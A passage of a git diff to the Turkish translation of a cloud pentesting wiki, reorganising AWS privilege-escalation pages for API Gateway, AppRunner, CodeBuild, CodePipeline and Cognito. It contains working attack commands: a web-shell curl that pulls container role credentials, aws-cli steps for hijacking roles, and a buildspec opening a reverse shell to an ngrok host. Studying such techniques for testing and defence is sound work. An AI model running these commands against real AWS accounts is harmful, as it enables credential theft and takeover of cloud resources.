token ile gerçekleştirilemez. +sts:GetFederationToken tarafından döndürülen token çağıran kullanıcının federasyon kimliğine aittir, ancak izinleri kısıtlıdır. Kullanıcının yönetici hakları olsa bile IAM kullanıcılarını listeleme veya politika iliştirme gibi bazı işlemler federasyon tokenı ile yapılamaz. -Ayrıca bu yöntem biraz daha gizlidir; federated user AWS Portal'da görünmediği için yalnızca CloudTrail logları veya izleme araçları aracılığıyla gözlemlenebilir. +Ayrıca, bu yöntem biraz daha gizlidir; çünkü federasyon kullanıcısı AWS Portal'da görünmez, sadece CloudTrail logları veya izleme araçları aracılığıyla gözlemlenebilir. -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md deleted file mode 100644 index dc913ce46..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md +++ /dev/null @@ -1,13 +0,0 @@ -# AWS - VPN Sonrası Sömürü - -{{#include ../../../banners/hacktricks-training.md}} - -## VPN - -Daha fazla bilgi için: - -{{#ref}} -../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ -{{#endref}} - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md new file mode 100644 index 000000000..3c4be929f --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation/README.md @@ -0,0 +1,13 @@ +# AWS - VPN Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## VPN + +Daha fazla bilgi için: + +{{#ref}} +../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ +{{#endref}} + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc/README.md similarity index 54% rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc/README.md index 0df733896..11c991844 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc/README.md @@ -1,48 +1,48 @@ # AWS - Apigateway Privesc -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## Apigateway -Daha fazla bilgi için kontrol edin: +Daha fazla bilgi için bakınız: {{#ref}} -../aws-services/aws-api-gateway-enum.md +../../aws-services/aws-api-gateway-enum.md {{#endref}} ### `apigateway:POST` -Bu izinle, yapılandırılmış API'lerin API anahtarlarını (bölge başına) oluşturabilirsiniz. +Bu izinle yapılandırılmış API'lerin (bölge başına) API anahtarlarını oluşturabilirsiniz. ```bash aws --region apigateway create-api-key ``` -**Olası Etki:** Bu teknikle yetki yükseltme yapamazsınız ancak hassas bilgilere erişim elde edebilirsiniz. +**Olası Etki:** Bu teknikle privesc yapamazsınız ama hassas bilgilere erişim elde edebilirsiniz. ### `apigateway:GET` -Bu izinle, yapılandırılan API'lerin (bölge başına) oluşturulan API anahtarlarını alabilirsiniz. +Bu izin ile yapılandırılmış API'lerin (bölge başına) oluşturulmuş API anahtarlarını alabilirsiniz. ```bash aws --region apigateway get-api-keys aws --region apigateway get-api-key --api-key --include-value ``` -**Olası Etki:** Bu teknikle yetki yükseltme yapamazsınız ancak hassas bilgilere erişim elde edebilirsiniz. +**Potential Impact:** Bu teknikle privesc yapamazsınız ancak hassas bilgilere erişim elde edebilirsiniz. ### `apigateway:UpdateRestApiPolicy`, `apigateway:PATCH` -Bu izinlerle, bir API'nin kaynak politikasını değiştirerek kendinize erişim verme ve API geçidinin sahip olabileceği potansiyel erişimi kötüye kullanma (örneğin, savunmasız bir lambda'yı çağırma) imkanı vardır. +Bu izinlerle bir API'nin resource policy'sini değiştirerek kendinize onu çağırma erişimi verebilir ve API gateway'in sahip olabileceği potansiyel erişimi suistimal edebilirsiniz (örneğin zafiyetli bir lambda'yı çağırmak). ```bash aws apigateway update-rest-api \ --rest-api-id api-id \ --patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"' ``` -**Olası Etki:** Genellikle, bu teknikle doğrudan privesc yapamayacaksınız ancak hassas bilgilere erişim elde edebilirsiniz. +**Potansiyel Etki:** Genellikle bu teknikle doğrudan privesc yapamazsınız, ancak hassas bilgilere erişim sağlayabilirsiniz. ### `apigateway:PutIntegration`, `apigateway:CreateDeployment`, `iam:PassRole` > [!NOTE] > Test edilmesi gerekiyor -`apigateway:PutIntegration`, `apigateway:CreateDeployment` ve `iam:PassRole` izinlerine sahip bir saldırgan, **IAM rolü eklenmiş bir Lambda fonksiyonu ile mevcut bir API Gateway REST API'sine yeni bir entegrasyon ekleyebilir**. Saldırgan daha sonra **Lambda fonksiyonunu tetikleyerek rastgele kodu çalıştırabilir ve potansiyel olarak IAM rolü ile ilişkili kaynaklara erişim elde edebilir**. +`apigateway:PutIntegration`, `apigateway:CreateDeployment` ve `iam:PassRole` izinlerine sahip bir saldırgan, IAM rolü iliştirilmiş bir Lambda fonksiyonuyla mevcut bir API Gateway REST API'sine **yeni bir entegrasyon ekleyebilir**. Saldırgan daha sonra **Lambda fonksiyonunu tetikleyerek keyfi kod çalıştırabilir ve potansiyel olarak IAM rolüyle ilişkili kaynaklara erişim elde edebilir**. ```bash API_ID="your-api-id" RESOURCE_ID="your-resource-id" @@ -56,14 +56,14 @@ aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` -**Olası Etki**: Lambda fonksiyonunun IAM rolü ile ilişkili kaynaklara erişim. +**Potansiyel Etki**: Lambda function'ın IAM rolüyle ilişkili kaynaklara erişim. ### `apigateway:UpdateAuthorizer`, `apigateway:CreateDeployment` -> [!NOT] +> [!NOTE] > Test edilmesi gerekiyor -`apigateway:UpdateAuthorizer` ve `apigateway:CreateDeployment` izinlerine sahip bir saldırgan, **mevcut bir API Gateway yetkilisini değiştirebilir** ve güvenlik kontrollerini atlayabilir veya API istekleri yapıldığında rastgele kod çalıştırabilir. +`apigateway:UpdateAuthorizer` ve `apigateway:CreateDeployment` izinlerine sahip bir saldırgan, mevcut bir API Gateway authorizer'ını değiştirerek güvenlik kontrollerini atlatabilir veya API istekleri yapıldığında keyfi kod çalıştırabilir. ```bash API_ID="your-api-id" AUTHORIZER_ID="your-authorizer-id" @@ -75,21 +75,21 @@ aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZ # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` -**Olası Etki**: Güvenlik kontrollerinin atlanması, API kaynaklarına yetkisiz erişim. +**Potansiyel Etki**: Güvenlik kontrollerinin atlanması, API kaynaklarına yetkisiz erişim. ### `apigateway:UpdateVpcLink` -> [!NOT] +> [!NOTE] > Test edilmesi gerekiyor -`apigateway:UpdateVpcLink` iznine sahip bir saldırgan, **mevcut bir VPC Bağlantısını farklı bir Ağ Yük Dengeleyicisine yönlendirecek şekilde değiştirebilir, bu da özel API trafiğini yetkisiz veya kötü niyetli kaynaklara yönlendirme potansiyeline sahiptir**. +Bir saldırgan `apigateway:UpdateVpcLink` iznine sahip olduğunda, **mevcut bir VPC Link'i farklı bir Network Load Balancer'a işaret edecek şekilde değiştirebilir ve bu da özel API trafiğini yetkisiz veya kötü niyetli kaynaklara yönlendirebilir**. ```bash -bashCopy codeVPC_LINK_ID="your-vpc-link-id" +VPC_LINK_ID="your-vpc-link-id" NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188" # Update the VPC Link aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]" ``` -**Potansiyel Etki**: Özel API kaynaklarına yetkisiz erişim, API trafiğinin kesilmesi veya kesintiye uğraması. +**Potansiyel Etki**: Özel API kaynaklarına yetkisiz erişim, API trafiğinin ele geçirilmesi veya kesintiye uğratılması. -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc/README.md similarity index 57% rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc.md rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc/README.md index 3d2a2e212..94927c007 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apprunner-privesc/README.md @@ -1,14 +1,14 @@ # AWS - AppRunner Privesc -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## AppRunner ### `iam:PassRole`, `apprunner:CreateService` -Bu izinlere sahip bir saldırgan, bir IAM rolü eklenmiş bir AppRunner hizmeti oluşturabilir ve böylece rolün kimlik bilgilerine erişerek yetkileri artırabilir. +Bu izinlere sahip bir saldırgan, iliştirilmiş bir IAM rolüyle birlikte bir AppRunner servisi oluşturabilir ve rolün kimlik bilgilerine erişerek ayrıcalıkları yükseltebilir. -Saldırgan önce, AppRunner konteynerinde rastgele komutlar çalıştırmak için bir web shell olarak hizmet eden bir Dockerfile oluşturur. +Saldırgan önce AppRunner konteynerinde rastgele komutlar çalıştırmak için bir web shell işlevi gören bir Dockerfile oluşturur. ```Dockerfile FROM golang:1.24-bookworm WORKDIR /app @@ -40,8 +40,8 @@ RUN go mod init test && go build -o main . EXPOSE 3000 CMD ["./main"] ``` -Sonra, bu görüntüyü bir ECR deposuna itin. -Görüntüyü, saldırgan tarafından kontrol edilen bir AWS hesabındaki genel bir depoya iterek, mağdurun hesabının ECR'i manipüle etme izinleri olmasa bile ayrıcalık yükseltmesi mümkün hale gelir. +Sonra, bu image'ı bir ECR repository'sine push edin. +Attacker tarafından kontrol edilen bir AWS hesabındaki public repository'ye image'ı push etmek, victim'in hesabının ECR'i manipulate etme permissions'ı olmasa bile privilege escalation'a olanak tanır. ```sh IMAGE_NAME=public.ecr.aws///:latest docker buildx build --platform linux/amd64 -t $IMAGE_NAME . @@ -49,7 +49,7 @@ aws ecr-public get-login-password | docker login --username AWS --password-stdin docker push $IMAGE_NAME docker logout public.ecr.aws ``` -Sonra, saldırgan bu web shell görüntüsü ve istismar etmek istedikleri IAM Rolü ile yapılandırılmış bir AppRunner hizmeti oluşturur. +Sonra, saldırgan bu web shell image ve istismar etmek istediği IAM Role ile yapılandırılmış bir AppRunner servisi oluşturur. ```bash aws apprunner create-service \ --service-name malicious-service \ @@ -63,10 +63,10 @@ aws apprunner create-service \ --instance-configuration '{"InstanceRoleArn": "arn:aws:iam::123456789012:role/AppRunnerRole"}' \ --query Service.ServiceUrl ``` -Servis oluşturulmasının tamamlanmasını bekledikten sonra, web shell'i kullanarak konteyner kimlik bilgilerini alın ve AppRunner'a ekli olan IAM Rolü'nün izinlerini elde edin. +Servis oluşturma tamamlandıktan sonra, web shell'i kullanarak container kimlik bilgilerini alın ve AppRunner'a bağlı IAM Role ile ilişkili izinleri elde edin. ```sh curl 'https:///?cmd=curl+http%3A%2F%2F169.254.170.2%24AWS_CONTAINER_CREDENTIALS_RELATIVE_URI' ``` -**Potansiyel Etki:** AppRunner hizmetlerine eklenebilen herhangi bir IAM rolüne doğrudan ayrıcalık yükseltme. +**Potansiyel Etki:** AppRunner services'e atanabilecek herhangi bir IAM role üzerinde doğrudan privilege escalation. -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md deleted file mode 100644 index f4e2282e8..000000000 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md +++ /dev/null @@ -1,9 +0,0 @@ -# AWS - Chime Privesc - -{{#include ../../../banners/hacktricks-training.md}} - -### chime:CreateApiKey - -TODO - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc/README.md new file mode 100644 index 000000000..52a21e606 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc/README.md @@ -0,0 +1,9 @@ +# AWS - Chime Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +### chime:CreateApiKey + +Yapılacak + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md similarity index 71% rename from src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md rename to src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md index 06538bb39..6159e7b72 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc/README.md @@ -1,18 +1,18 @@ # AWS - Codebuild Privesc -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} ## codebuild Daha fazla bilgi için: {{#ref}} -../aws-services/aws-codebuild-enum.md +../../aws-services/aws-codebuild-enum.md {{#endref}} ### `codebuild:StartBuild` | `codebuild:StartBuildBatch` -Bu izinlerden biriyle, yeni bir buildspec ile bir build başlatmak ve projeye atanan iam rolünün token'ını çalmak yeterlidir: +Bu izinlerden yalnızca biri, yeni bir buildspec ile bir build tetiklemek ve projeye atanmış iam role'un token'ını çalmak için yeterlidir: {{#tabs }} {{#tab name="StartBuild" }} @@ -58,16 +58,16 @@ aws codebuild start-build-batch --project --buildspec-override fi {{#endtab }} {{#endtabs }} -**Not**: Bu iki komut arasındaki fark şudur: +**Not:** Bu iki komut arasındaki fark şudur: -- `StartBuild`, belirli bir `buildspec.yml` kullanarak tek bir build işini tetikler. -- `StartBuildBatch`, daha karmaşık yapılandırmalarla (birden fazla build'i paralel olarak çalıştırmak gibi) bir grup build başlatmanıza olanak tanır. +- `StartBuild` belirli bir `buildspec.yml` kullanarak tek bir build işi tetikler. +- `StartBuildBatch` daha karmaşık yapılandırmalarla (örneğin birden fazla build'i paralel çalıştırmak gibi) bir dizi build başlatmanıza olanak tanır. -**Olası Etki:** Ekli AWS Codebuild rollerine doğrudan yetki yükseltme. +**Olası Etki:** Bağlı AWS Codebuild rollere doğrudan privesc. ### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) -**`iam:PassRole`, `codebuild:CreateProject` ve `codebuild:StartBuild` veya `codebuild:StartBuildBatch`** izinlerine sahip bir saldırgan, çalışan bir tane oluşturarak **herhangi bir codebuild IAM rolüne yetki yükseltebilir**. +Bir saldırgan, **`iam:PassRole`, `codebuild:CreateProject`, ve `codebuild:StartBuild` veya `codebuild:StartBuildBatch`** izinlerine sahipse, çalışır durumda bir tane oluşturarak **herhangi bir codebuild IAM rolünde privesc elde edebilir**. {{#tabs }} {{#tab name="Example1" }} @@ -171,20 +171,20 @@ Wait a few seconds to maybe a couple minutes and view the POST request with data {{#endtab }} {{#endtabs }} -**Olasılıklı Etki:** Herhangi bir AWS Codebuild rolüne doğrudan yetki yükseltme. +**Olası Etki:** AWS Codebuild rolüne doğrudan privesc. > [!WARNING] -> Bir **Codebuild konteynerinde** dosya `/codebuild/output/tmp/env.sh` **metadata kimlik bilgilerine** erişmek için gereken tüm ortam değişkenlerini içerir. +> Bir **Codebuild container** içinde `/codebuild/output/tmp/env.sh` dosyası **metadata kimlik bilgilerine** erişmek için gereken tüm env değişkenlerini içerir. -> Bu dosya, **kimlik bilgilerine erişim için URL yolu** içeren **ortam değişkeni `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** içerir. Bu, `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420` gibi bir şey olacaktır. +> Bu dosya, kimlik bilgilerine erişmek için gereken **env variable `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`**'yi içerir; bu değişken erişim için kullanılacak **URL path**'i barındırır. Örneğin `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420` gibi bir değer olacaktır. -> Bunu **`http://169.254.170.2/`** URL'sine ekleyin ve rol kimlik bilgilerini dökebileceksiniz. +> Bunu **`http://169.254.170.2/`** URL'sine ekleyin ve rol kimlik bilgilerini dökebilirsiniz. -> Ayrıca, **konteyner hakkında metadata bilgilerini almak için** tam URL'yi içeren **ortam değişkeni `ECS_CONTAINER_METADATA_URI`** de içerir. +> Ayrıca, konteyner hakkında metadata bilgisi almak için gereken tam URL'i içeren **env variable `ECS_CONTAINER_METADATA_URI`** da bulunmaktadır. ### `iam:PassRole`, `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) -Önceki bölümde olduğu gibi, bir inşa projesi oluşturmak yerine onu değiştirebiliyorsanız, IAM Rolünü belirtebilir ve token'ı çalabilirsiniz. +Önceki bölümde olduğu gibi, eğer bir build projesi oluşturmak yerine mevcut projeyi değiştirebiliyorsanız, IAM Role'u belirtebilir ve token'ı çalabilirsiniz. ```bash REV_PATH="/tmp/codebuild_pwn.json" @@ -218,11 +218,11 @@ aws codebuild update-project --name codebuild-demo-project --cli-input-json file aws codebuild start-build --project-name codebuild-demo-project ``` -**Olası Etki:** Herhangi bir AWS Codebuild rolüne doğrudan yetki yükseltme. +**Olası Etki:** Herhangi bir AWS Codebuild rolüne doğrudan privesc. ### `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) -Önceki bölümdeki gibi ancak **`iam:PassRole` izni olmadan**, bu izinleri **mevcut Codebuild projelerini değiştirmek ve zaten atanmış olan role erişmek için kötüye kullanabilirsiniz**. +Önceki bölümde olduğu gibi fakat **`iam:PassRole` izni olmadan**, bu izinleri kötüye kullanarak mevcut Codebuild projelerini **değiştirip zaten atanmış rollere erişebilirsiniz**. {{#tabs }} {{#tab name="StartBuild" }} @@ -298,13 +298,13 @@ aws codebuild start-build-batch --project-name codebuild-demo-project {{#endtab }} {{#endtabs }} -**Olası Etki:** Bağlı AWS Codebuild rollerine doğrudan yetki yükseltme. +**Potential Impact:** Doğrudan privesc to attached AWS Codebuild roles. ### SSM -**Bir ssm oturumu başlatmak için yeterli izinlere sahip olmak** durumunda, **inşa edilen bir Codebuild projesinin içine girmek** mümkündür. +Birinin **ssm session başlatmak için yeterli izinlere** sahip olması durumunda, inşa edilen bir **Codebuild project**'in içine girmek mümkün olur. -Codebuild projesinin bir kesme noktası olması gerekecek: +Codebuild project'in bir breakpoint içermesi gerekir:
phases:
 pre_build:
@@ -319,13 +319,13 @@ Ve sonra:
 aws codebuild batch-get-builds --ids  --region  --output json
 aws ssm start-session --target  --region 
 ```
-Daha fazla bilgi için [**belgelere göz atın**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html).
+Daha fazla bilgi için [**check the docs**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html).
 
 ### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject`
 
-Belirli bir CodeBuild projesinin `buildspec.yml` dosyasını yazma erişimine sahip olduğu bir S3 kovasında depolayan bir saldırgan, bu projeyi başlatıp/yeniden başlatabiliyorsa, CodeBuild sürecinde komut yürütme elde edebilir.
+Belirli bir CodeBuild projesinin derlemesini başlatma/yeniden başlatma yetkisine sahip bir saldırgan ve projenin `buildspec.yml` dosyasının saldırganın yazma erişimi olan bir S3 bucket'ında saklanıyor olması durumunda, saldırgan CodeBuild sürecinde komut yürütme elde edebilir.
 
-Not: yükselme, yalnızca CodeBuild işçisinin saldırganınkinden farklı, umarım daha ayrıcalıklı bir role sahip olması durumunda geçerlidir.
+Not: Bu eskalasyon yalnızca CodeBuild worker'ın saldırganın rolünden farklı ve umarım daha ayrıcalıklı bir role sahip olması durumunda geçerlidir.
 ```bash
 aws s3 cp s3:///buildspec.yml ./
 
@@ -342,7 +342,7 @@ aws codebuild start-build --project-name 
 
 # Wait for the reverse shell :)
 ```
-Bunu **buildspec** gibi bir şey kullanarak **reverse shell** almak için kullanabilirsiniz:
+Böyle bir **buildspec** kullanarak **reverse shell** elde edebilirsiniz:
 ```yaml:buildspec.yml
 version: 0.2
 
@@ -351,13 +351,13 @@ build:
 commands:
 - bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1
 ```
-**Etkisi:** AWS CodeBuild işçisi tarafından kullanılan role doğrudan yetki yükselmesi, genellikle yüksek ayrıcalıklara sahiptir.
+**Etkisi:** Genellikle yüksek ayrıcalıklara sahip AWS CodeBuild worker tarafından kullanılan role doğrudan privesc.
 
 > [!WARNING]
-> buildspec'in zip formatında beklenebileceğini unutmayın, bu nedenle bir saldırganın indirmesi, açması, kök dizininden `buildspec.yml` dosyasını değiştirmesi, tekrar ziplemesi ve yüklemesi gerekecektir.
+> buildspec'in zip formatında bekleneceğini unutmayın; bu nedenle bir attacker kök dizinden `buildspec.yml`'i indirip, unzip edip, değiştirdikten sonra tekrar zipleyip yüklemek zorunda kalacaktır
 
-Daha fazla ayrıntı [burada](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/) bulunabilir.
+Daha fazla detay için [here](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/).
 
-**Olası Etki:** Ekli AWS Codebuild rollerine doğrudan yetki yükselmesi.
+**Potansiyel Etki:** Ekli AWS Codebuild rollere doğrudan privesc.
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md
deleted file mode 100644
index 5600016b4..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md
+++ /dev/null
@@ -1,37 +0,0 @@
-# AWS - Codepipeline Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## codepipeline
-
-Codepipeline hakkında daha fazla bilgi için kontrol edin:
-
-{{#ref}}
-../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md
-{{#endref}}
-
-### `iam:PassRole`, `codepipeline:CreatePipeline`, `codebuild:CreateProject, codepipeline:StartPipelineExecution`
-
-Bir kod pipeline'ı oluştururken, çalıştırmak için bir **codepipeline IAM Rolü belirtebilirsiniz**, bu nedenle onları tehlikeye atabilirsiniz.
-
-Önceki izinlerin yanı sıra, **kodun saklandığı yere erişim** (S3, ECR, github, bitbucket...) ihtiyacınız olacak.
-
-Bu süreci web sayfasında gerçekleştirerek test ettim, daha önce belirtilen izinler, bir codepipeline oluşturmak için gereken List/Get izinleri değildir, ancak web'de oluşturmak için ayrıca şunlara da ihtiyacınız olacak: `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:`
-
-**Build projesinin oluşturulması** sırasında bir **çalıştırılacak komut** (rev shell?) belirtebilir ve build aşamasını **yetkili kullanıcı** olarak çalıştırabilirsiniz, bu, saldırganın tehlikeye atması için gereken yapılandırmadır:
-
-![](<../../../images/image (276).png>)
-
-![](<../../../images/image (181).png>)
-
-### ?`codebuild:UpdateProject, codepipeline:UpdatePipeline, codepipeline:StartPipelineExecution`
-
-Önceki izinlerle, kullanılan rolü ve bir codepipeline'da yürütülen komutu değiştirmek mümkün olabilir.
-
-### `codepipeline:pollforjobs`
-
-[AWS,](https://docs.aws.amazon.com/codepipeline/latest/APIReference/API_PollForJobs.html) belirtmektedir:
-
-> Bu API çağrıldığında, CodePipeline **pipeline için artefaktları saklamak için kullanılan S3 bucket'ı için geçici kimlik bilgileri döner**, eğer işlem, giriş veya çıkış artefaktları için o S3 bucket'a erişim gerektiriyorsa. Bu API ayrıca **işlem için tanımlanan herhangi bir gizli değeri** de döner.
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md
new file mode 100644
index 000000000..d5b84a052
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc/README.md
@@ -0,0 +1,37 @@
+# AWS - Codepipeline Privesc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## codepipeline
+
+codepipeline hakkında daha fazla bilgi için bakınız:
+
+{{#ref}}
+../../aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md
+{{#endref}}
+
+### `iam:PassRole`, `codepipeline:CreatePipeline`, `codebuild:CreateProject, codepipeline:StartPipelineExecution`
+
+Bir code pipeline oluştururken **codepipeline IAM Role to run** belirtebilirsiniz, bu nedenle bu rolleri ele geçirebilirsiniz.
+
+Önceki izinlerin yanı sıra **kodun depolandığı yere erişim** (S3, ECR, github, bitbucket...) gerekir.
+
+Bunu web arayüzünde test ettim; önceki belirtilen izinler codepipeline oluşturmak için gereken List/Get olmayan izinlerdir, fakat web üzerinde oluşturmak için ayrıca şunlar gerekir: `codebuild:ListCuratedEnvironmentImages, codebuild:ListProjects, codebuild:ListRepositories, codecommit:ListRepositories, events:PutTargets, codepipeline:ListPipelines, events:PutRule, codepipeline:ListActionTypes, cloudtrail:`
+
+**creation of the build project** sırasında bir **command to run** (rev shell?) belirtebilir ve build aşamasını **privileged user** olarak çalıştırabilirsiniz; saldırganın ele geçirmek için ihtiyaç duyduğu konfigürasyon budur:
+
+![](<../../../images/image (276).png>)
+
+![](<../../../images/image (181).png>)
+
+### ?`codebuild:UpdateProject, codepipeline:UpdatePipeline, codepipeline:StartPipelineExecution`
+
+Önceki izinlerle bir codepipeline'da kullanılan rolü ve çalıştırılan komutu değiştirmek mümkün olabilir.
+
+### `codepipeline:pollforjobs`
+
+[AWS şöyle belirtir](https://docs.aws.amazon.com/codepipeline/latest/APIReference/API_PollForJobs.html):
+
+> Bu API çağrıldığında, CodePipeline **pipeline için artifact'leri depolamakta kullanılan S3 bucket için geçici kimlik bilgilerini döndürür**, eğer eylem söz konusu S3 bucket'a giriş veya çıkış artifact'leri için erişim gerektiriyorsa. Bu API ayrıca **eylem için tanımlanmış herhangi bir gizli değeri de döndürür**.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md
deleted file mode 100644
index 66b303059..000000000
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md
+++ /dev/null
@@ -1,274 +0,0 @@
-# AWS - Cognito Privesc
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Cognito
-
-Cognito hakkında daha fazla bilgi için kontrol edin:
-
-{{#ref}}
-../aws-services/aws-cognito-enum/
-{{#endref}}
-
-### Kimlik Havuzundan kimlik bilgilerini toplama
-
-Cognito, **kimlik doğrulanmış** ve **kimlik doğrulanmamış** **kullanıcılara** **IAM rol kimlik bilgileri** verebildiğinden, bir uygulamanın **Kimlik Havuzu ID'sini** bulursanız (uygulamada sabit kodlanmış olmalıdır) yeni kimlik bilgileri elde edebilir ve dolayısıyla privesc elde edebilirsiniz (muhtemelen daha önce hiçbir kimlik bilgisine sahip olmadığınız bir AWS hesabında).
-
-Daha fazla bilgi için [**bu sayfayı kontrol edin**](../aws-unauthenticated-enum-access/#cognito).
-
-**Potansiyel Etki:** Kimlik doğrulanmamış kullanıcılara bağlı hizmet rolüne doğrudan privesc (ve muhtemelen kimlik doğrulanmış kullanıcılara bağlı olanına).
-
-### `cognito-identity:SetIdentityPoolRoles`, `iam:PassRole`
-
-Bu izinle, kimlik doğrulanmış/kimlik doğrulanmamış kullanıcılarına **herhangi bir cognito rolü** verebilirsiniz.
-```bash
-aws cognito-identity set-identity-pool-roles \
---identity-pool-id  \
---roles unauthenticated=
-
-# Get credentials
-## Get one ID
-aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367"
-## Get creds for that id
-aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374"
-```
-Eğer cognito uygulaması **kimlik doğrulaması yapılmamış kullanıcıları etkinleştirmemişse** bunu etkinleştirmek için `cognito-identity:UpdateIdentityPool` iznine de ihtiyacınız olabilir.
-
-**Olası Etki:** Herhangi bir cognito rolüne doğrudan yetki yükseltme.
-
-### `cognito-identity:update-identity-pool`
-
